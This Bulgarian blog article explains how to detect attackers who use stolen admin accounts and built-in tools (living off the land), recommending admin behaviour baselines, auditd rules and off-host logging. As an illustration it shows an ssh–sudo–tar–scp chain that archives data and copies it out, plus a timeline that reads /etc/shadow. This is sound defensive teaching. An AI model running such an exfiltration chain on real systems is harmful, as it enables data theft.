Вторият администратор: Всичко е легитимно. Само че не си ти.
Как се хваща нападател, който не носи malware, а използва собствените ти инструменти
Има един удобен начин да си представяме пробива.
Някой влиза.
Качва странен файл.
Антивирусът пищи.
Намираме файла.
Трием го.
Готово.
Само че добрият нападател няма никаква причина да ти прави тази услуга.
Защо да носи собствен чук, когато твоят вече е на масата?
На машината има ssh.
Има curl.
Има systemctl.
Има PowerShell.
Има RDP.
Има WinRM.
Има инструменти за отдалечена поддръжка.
Има администраторски акаунти.
Всичко необходимо вече е вътре.
Нападателят трябва само да стане вторият администратор.
Malware вече не е задължителен
Да започнем с неудобното.
„Не намерих вирус“ не означава „няма нападател“.
Може да няма нов изпълним файл.
Може да няма rootkit.
Може нищо да не е подменено.
Нападателят влиза с валиден акаунт и използва същите неща, които използваш ти.
Техниката си има име - Living off the Land. Живот от земята. Нападателят не носи провизии, а се храни с това, което вече расте на терена. Инструментите, които ти си инсталирал, конфигурирал и оставил да работят, защото са ти нужни.
Примерът е банален:
Code:
ssh admin@server
sudo -i
tar -czf /tmp/data.tar.gz /srv/data
scp /tmp/data.tar.gz remote:/somewhere/Нито една от тези команди не е зловредна.
ssh е нормален.
sudo е нормален.
tar е нормален.
scp е нормален.
И въпреки това четирите заедно могат да бъдат целият пробив.
Това е моментът, в който старото мислене започва да куца.
Ако търсиш само лош инструмент, а нападателят използва добри инструменти, търсиш човек по оръжието му, докато той работи с твоето.
Инструментът вече не е доказателството
Да видиш PowerShell на Windows сървър не е находка.
Да видиш ssh на Linux сървър не е находка.
Да видиш RDP, curl, systemctl, scp или административен агент също не е находка.
Въпросът вече не е:
„Какво е стартирано?“
Въпросът е:
„Кой го стартира, откъде, кога, какво направи преди него и какво се случи след това?“
Една команда е точка.
Атаката е линия между точките.
Code:
14:18 admin влиза от 192.168.10.14
14:23 проверява nginx
14:27 редактира конфигурация
14:31 рестартира услугата
НОРМАЛНО
03:47 admin влиза от непознат адрес
03:48 sudo -i
03:49 чете /etc/shadow
03:52 обхожда /home
03:57 създава архив
04:01 отваря външна връзка
СЪЩИЯТ АКАУНТ
СЪЩИТЕ ИНСТРУМЕНТИ
СЪВСЕМ ДРУГА ИСТОРИЯНовият IOC не е файл. Понякога е глагол.
В класическата сигурност обичаме IOC - Indicator of Compromise.
Хеш.
IP адрес.
Домейн.
Име на файл.
Хубави неща.
Само че всички те описват предмети.
При втория администратор по-интересни са глаголите.
Влезе.
Прочете.
Копира.
Архивира.
Добави.
Спря.
Промени.
Свърза се.
И най-вече - в какъв ред.
cat /etc/passwd не ме плаши.
cat /etc/passwd, последвано от преглед на потребители, после SSH ключове, после архивиране на домашни директории, вече разказва история.
Самата команда е невинна.
Последователността не е.
Не само машината има baseline
В Linux forensics говорихме за baseline на машината.
Колко процеса.
Колко услуги.
Какви eBPF програми.
Какви сокети.
Какви модули.
Но има още един baseline, който почти никой не записва.
Твоят.
Администраторът също има нормално поведение.
Ти обикновено:
- влизаш от определени машини
- работиш в определени часове
- администрираш определени сървъри
- ползваш определени команди
- движиш се през системата по определен начин
- правиш едни неща преди други
Аз например мога да вляза в сървъра в 23:40. Това само по себе си не е странно.
Но ако „аз“ в 23:40 вляза от държава, от която никога не съм работил, започна да проверявам домейн контролери, после да търся архиви и накрая отворя тунел навън - вече не ме интересува, че паролата е правилна.
Паролата доказва, че някой я знае.
Не доказва кой е този някой.
Тук идва неприятният извод.
Нападателят може да открадне акаунта ти.
Може да открадне SSH ключа ти.
Може да открадне токена ти.
Много по-трудно е да открадне навиците ти.
Как се записва този baseline
Само че има уловка.
Навиците ти са защита единствено ако някъде са записани.
Ако baseline-ът ти живее само в главата ти, той изчезва точно в момента, в който ти трябва - когато гледаш лог в четири сутринта и се чудиш дали онова вписване от миналия вторник е било твое.
Затова baseline-ът на администратора се записва предварително, на спокойствие, докато всичко е нормално.
Минимумът е скучен и напълно достатъчен.
Първо - кой откъде влиза. Source IP адресите не са параноя, те са най-евтиният филтър, който имаш:
Code:
last -i -F
lastb -i -F
journalctl -u ssh --since "-30 days" | grep "Accepted"Тридесет дни често са достатъчни за първоначален baseline, ако машината се администрира редовно. При сървър, който се пипа веднъж на два месеца, същият период може да покаже точно нищо - там гледаш назад толкова, колкото логовете ти пазят.
Каквото и да излезе, запиши го някъде извън машината. Това вече е baseline.
Второ - какво е изпълнено, не само че някой е влязъл. Тук shell историята не върши работа. ~/.bash_history е удобство, не доказателство. Пише се при изход, може да се изключи с една променлива, може да се изтрие, а вторият администратор знае това по-добре от теб.
По-надеждният запис идва от auditd:
Code:
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=4294967295 -k exec
-w /etc/shadow -p rwa -k shadow
-w /root/.ssh -p rwa -k rootkeys
-w /etc/sudoers -p wa -k sudoersТова са правила за auditd, които се записват в /etc/audit/rules.d/*.rules, а не команди, които се поставят директно в shell.
auid е ключовият детайл в целия този блок.
Той помни кой се е вписал първоначално, дори след sudo -i. Ако някой влезе като admin, стане root и започне да работи, uid ще каже root.
auid ще каже кой точно root.
Точно тази разлика превръща лога от списък с действия в списък с хора.
Трето, и най-важното - логовете не остават на машината.
- remote forwarding на journald или syslog към отделен хост
- отделни credentials за лог хоста, различни от тези на продукцията
- append-only достъп, доколкото инфраструктурата позволява
- NTP навсякъде, защото без общо време няма обща история
Причината е проста.
Едно от първите неща, за които мисли компетентният нападател след root, е какво оставя след себе си - дали да изтрие, да подмени или просто да избегне записването на следи.
Последното е най-опасното, защото празнината в лога и чистият лог изглеждат еднакво добре, ако няма с какво да ги сравниш.
А грубото изтриване всъщност пищи. Липсващият половин час е находка. Затова добрият нападател по-скоро ще избягва записа, отколкото да го трие след това.
Изнесеният лог е това, което прави тази разлика независимо видима.
„Но командата е позволена“
Това е една от най-опасните фрази в сигурността.
Разбира се, че е позволена.
Затова нападателят я използва.
Ако scp беше забранен, щеше да избере друго.
Ако PowerShell беше премахнат, щеше да намери друг път.
Ако RDP беше затворен, щеше да търси SSH, WinRM, WMI, RMM или каквото инфраструктурата вече му предлага.
Не можеш да защитиш работеща система, като забраниш всичко, което може да бъде използвано зле.
Чукът може да строи къща.
Може и да счупи прозорец.
Решението не е да обявиш чука за malware.
Решението е да знаеш защо някой го държи в ръката си в три сутринта.
Къде тогава се вижда вторият администратор
Не в един лог.
Пак стигаме до старото правило:
Нито едно твърдение не се приема от един източник.
Гледаш заедно:
- authentication логовете
- източника на връзката
- часа
- родителските и дъщерните процеси
- командната линия
- мрежовите връзки
- промяната на привилегии
- какво се е случило непосредствено преди и след събитието
Не търсиш една червена лампа.
Търсиш история, която не прилича на историята на човека, когото акаунтът твърди, че представлява.
Това вече е разлика между identity и behavior.
И двете са нужни.
Само едното вече не стига.
Най-лошият лог може да изглежда напълно нормално
Това според мен е най-интересната част.
При грубия пробив логът крещи.
При добрия пробив логът е скучен.
Успешно вписване.
Успешно sudo.
Успешна команда.
Успешна връзка.
Успешно копиране.
Всичко е successful.
И точно това е проблемът.
Системата отговаря на техническия въпрос:
„Имаше ли право този акаунт да направи това?“
Да.
Но ние задаваме друг въпрос:
„Това човекът зад този акаунт ли беше?“
На този въпрос permission системата няма отговор.
От гаража
В работилницата можеш да познаеш кой е работил по една кола дори инструментите да са същите.
Единият майстор първо мери.
Другият първо разглобява.
Единият подрежда болтовете.
Другият ги хвърля в една кутия.
Единият стяга по схема.
Другият помни на ръка.
Инструментите не издават човека.
Навиците го издават.
При администрацията е същото.
Двама души могат да използват един и същ ssh.
Но рядко ще се движат през машината по абсолютно един и същ начин.
Затова следващия път, когато видиш легитимен инструмент в логовете, не питай само:
„Позволено ли е това?“
Попитай:
„Прилича ли това на човека, който би трябвало да го прави?“
Там понякога стои вторият администратор.
Не се крие.
Не му се налага.
Системата вече му е отворила вратата.
Бележка: идеята тук не е да се обявят легитимните административни инструменти за опасни, а да се покаже защо контекстът и последователността на действията са по-важни от името на изпълнения бинарник.
Ключови думи: cybersecurity, living off the land, LOTL, LOLBins, incident response, behavioral analysis, compromised account, auditd, auid, SSH, PowerShell, RDP, WinRM, RMM, lateral movement, administrator behavior, detection
Източници: CISA / NSA / FBI - Joint Guidance: Identifying and Mitigating Living Off the Land Techniques; Microsoft Security Research - анализи на human-operated intrusions и злоупотреба с легитимни административни инструменти, 2026.
toni@dtgarage:~$ whoami
Тони Ангелчовски | Ексклузивно за DTGaraGe
toni@dtgarage:~$ cat LICENSE
Копирането и препубликуването без разрешение не е позволено.
toni@dtgarage:~$ ./support.sh
Подкрепи DTGaraGe и независимото техническо съдържание
toni@dtgarage:~$ █
Тони Ангелчовски | Ексклузивно за DTGaraGe
toni@dtgarage:~$ cat LICENSE
Копирането и препубликуването без разрешение не е позволено.toni@dtgarage:~$ ./support.sh
Подкрепи DTGaraGe и независимото техническо съдържаниеtoni@dtgarage:~$ █
